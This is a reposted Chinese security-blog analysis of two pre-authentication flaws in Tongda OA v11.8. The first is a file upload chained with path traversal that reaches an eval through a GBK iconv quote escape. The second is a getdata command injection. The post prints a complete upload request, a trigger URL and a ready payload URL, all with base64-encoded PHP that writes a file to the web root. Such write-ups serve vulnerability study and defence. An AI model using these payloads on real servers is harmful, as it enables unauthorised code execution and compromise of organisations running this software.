通达 v11.8前台文件上传&命令执行漏洞利用分析
2023-12-16 12:2:41 Author: 白帽子左一(查看原文) 阅读量:8 收藏

扫码领资料

获网安教程

免费&进群

api.ali.php任意文件上传

影响版本

v11.8

漏洞复现过程:

漏洞原理是通过文件上传上传一个json文件,再通过调用程序去解析json文件执行里面php语句

首先需要上传一个json文件

完整数据包:

POST /mobile/api/api.ali.php HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 422
Content-Type: multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae
Accept-Encoding: gzip

--502f67681799b07e4de6b503655f5cae
Content-Disposition: form-data; name="file"; filename="fb6790f4.json"
Content-Type: application/octet-stream

{"modular":"AllVariable","a":"ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIGVjaG8gdnVsbl90ZXN0Oz8+Jyk7","dataAnalysis":"{\"a\":\"錦',eval(base64_decode($BackData[a])));/*\"}"}

--502f67681799b07e4de6b503655f5cae--

接着发送get请求写入文件,成功在webroot目录下写入fb6790f4.php,2109为年月份

/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4

分析过程

文件上传功能实现的地方在mobile/api/api.ali.php文件下

其中包含了conn.php、api.api.class.php、utility_file.php三个文件,这三个文件都是负责加载通达的配置信息以及通用函数,不涉及权限验证

跟进到utility_file.php下的upload()

$ATTACH_NAME = filename_valid($ATTACH_NAME); $ATTACH_NAME的值是上传时的文件名

接着会判断上传的文件后缀是否是允许的,限制了php,php3,php5等文件后缀,以及文件名是否合法,当没有错误后会进入到1761行中

跟进add_attach(),系统会将我们上传的文件保存在attach/approve_center/2301文件夹下面,其中2301是上传的年月份

文件名$FILENAME由$ATTACH_ID和$ATTACH_FILE两部分组成,$ATTACH_ID是随机生成一串数字,通过跟进发现MYOA_ATTACH_NAME_FORMAT恒为false,所以最终的文件名为 随机数字+上传文件名

通过这个功能可以上传一个除可执行文件外的文本文件到服务器上

$ATTACH_NAME = str_replace($EXT_NAME, strtolower($EXT_NAME), $ATTACH_NAME);
$ATTACH_FILE = (MYOA_ATTACH_NAME_FORMAT ? md5($ATTACH_NAME) . ".td" : $ATTACH_NAME);
$ATTACH_ID = mt_rand();
$FILENAME = $PATH . "/" . $ATTACH_ID . "." . $ATTACH_FILE;

触发生成php文件的功能点代码文件在/inc/package/work.php下,也没有做鉴权操作

接收了一个id参数,进入到DataTransport类下的acceptData(),程序首先将用户传入的id拼接到文件路径里,接着执行file_get_contents()读取$json_file所指向的文件

MYOA_ATTACH_PATH2的值为myoa/attach,问题在于$id在路径中做了两次拼接,程序没有对../进行过滤,而且经过上面的分析我们知道上传到服务器上的文件名都带有一串9位数的随机数字,我们没有得到准确的文件名

在linux下可以通过*、?这一类的通配符来匹配文件名,例如/etc/passwd可以用/etc/pass**来匹配成功的,在file_get_contents()里也可以用<,>来实现,用’<<<<<<<<<<’来匹配随机生成的9位数随机数

file_get_contents()读取文件时,存在一些特殊的特性,在d盘data文件夹下创建test.txt文件用来测试,使用file_get_contents()进行文件读取

file_get_contents(D:/data/test.txt”)
file_get_contents(D:/aabb/../../../../../../../data/test.txt)
file_get_contents(D:/baba/daad/../../hah/das/../../../data/test.txt”)

这三种FilePath的形式到最后都能成功读取到data/test.txt文件,只要最后一个../后面是正确的路径地址,file_get_contents()都能成功读取到文件。

其中还有一个关键部分,就是跨目录层数要大于等于目录层数

file_get_contents(D:/MYOA/attach/syn/resc/../../attach/syn/resc/../../MYOA/attach/syn/recv/test.txt”)
file_get_contents(D:/MYOA/attach/syn/resc/../../../../attach/syn/resc/../../../../MYOA/attach/syn/recv/test.txt”)

第一种写法是无法读取到test.txt文件的,第二种是可以的,可以根据这两种之间的区别去理解

现在已经可以解决关于json_file文件读取的问题了,接着在work.php中传入id的参数为

../../../../../myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4

程序读取完json文件后,执行到AllVariableBusinessProcessing类的backDataAnalysis()

该方法下存在eval函数可以执行代码,而且$variableData的值是可控的

$variableData = $BackData["dataAnalysis"];
$variableData = json_decode($variableData, true);
$variableData = eval "return " . iconv("UTF-8", "GBK", var_export($variableData, true) . ";");

至于dataAnalysis为什么是这种格式,下面会详细讲到,这里先给出一个demo

$c = 'ZWNobyAxMjM0Ow==';        //base64解码后为echo 1234;
$d = 'ZWNobyAxMjM7'; //base64解码后为echo 123;

$a = array(
'a'=>'eval(base64_decode($d))',
);

$b = array(
'a'=>'b',eval(base64_decode($c)));/*',
);

在上面的代码中,定义了两个数组a和b,执行过后就能看到程序输出了1234,这说明$b中的php语句成功执行了。所有只要用户能控制$b[a]的值,令$b[a]='b',eval(base64_decode($c)));/*',闭合掉前面的单引号那就可以执行恶意的php语句了

但是当调用work.php读取json文件的内容到$variableData时会对其中的单引号进行转义,php代码要执行成功,就必须将单引号逃逸出来与前面的单引号进行闭合

所幸主角iconv出来救场了。iconv在这里的作用是将$variableData从UTF-8编码转换成GBK编码,其中錦的UTF-8编码是\xE9\x8C\xA6,GBK编码是\xB0\xA1,当编码转换之后\xB0\xA1会和\组成一个新的字符,单引号就成功逃逸出来了

getdata任意命令执行

在v11.8版本下还存在一个前台任意命令执行漏洞,该漏洞的漏洞利用方法和上面的类似

payload: /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyB2dWxuX3Rlc3Q7%22)))%3B/*&id=19&module=Carouselimage

漏洞代码在general/appbuilder目录下,而且是MVC的架构,首先看web/index.php文件,判断config[“params”][“LOGIN_UID”]是否为空,跟进config/web.php文件可以看到config[“params”][“LOGIN_UID”]=””

继续向下执行会判断是否存在相应LOGIN_UID的session,我们在未登录的情况下是不存在的,所以会进入到下面的else语句

else {
$url = $_SERVER["REQUEST_URI"];
$strurl = substr($url, 0, strpos($url, "?"));
if (strpos($strurl, "/portal/") !== false) {
if (strpos($strurl, "/gateway/") === false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($strurl, "/gateway/saveportal") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "edit") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
}

else if (strpos($url, "/appdata/doprint") !== false) {
$_GET["csrf"] = urldecode($_GET["csrf"]);
$b_check_csrf = false;
if (!empty($_GET["csrf"]) && preg_match("/^\{([0-9A-Z]|-){36}\}$/", $_GET["csrf"])) {
$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["csrf"];
if (file_exists($s_tmp)) {
$b_check_csrf = true;
$b_dir_priv = true;
}
}
if (!$b_check_csrf) {
header("Location:/index.php");
sess_close();
exit();
}
}

else {
header("Location:/index.php");
sess_close();
exit();
}
}

通过分析代码,可以知道/portal/gateway/**下的路由只有/potal/gateway/saveportal是需要鉴权的,所以这是一个前台的RCE

根据漏洞的poc最终找到漏洞文件在modules/portal/controllers/GatewayController.php,用户传入的module=Carouselimage,程序执行到2016行进入到$component->GetDate(),传入的参数里有$activeTab,也就是需要执行的命令

跟进到modules/portal/models/PortalComponent.php#GetData(),系统通过id查询数据库中的内容,$comtype在后续会使用到,要令$comtype=1

$comtype = (string) $data->comtype;

从数据库的查询结果可以看到,只要我们令id=19就能控制comtype=1

接着将id,comtype,attribute存在$this_array里,接着进入到data_analysis()

$this_array = array("id" => $id,
"source" => $source,
"attribute" => $attribute,
"comtype" => $comtype,
....)

/portal/components/AppDesignComponents.php#data_analysis(),$classname=Carouselimage,当$thisarray["comtype"] == "1"时,执行到free_components/AppCarouselimage.php#get_data()

从Gateway控制器下到AppCarouselimage.php#get_data()都没有对$activeTab进行处理和过滤,

回到gateway控制器下,执行完$component->GetData()后会返回一个带有$activeTab参数的数组

跟进toUtf8(),程序通过eval执行我们的命令,这里也使用到了iconv,所以payload构造原理和上面分析的一样

来源: https://xz.aliyun.com/t/13175

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247603928&idx=1&sn=27d7b28fb59ef7d86ad61d699528014c&chksm=ea634ec2afaea38cb80141d8647b77022d1c54d0cee5e3ae1a4e78ba9bc4a495a76f1f4258f6&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh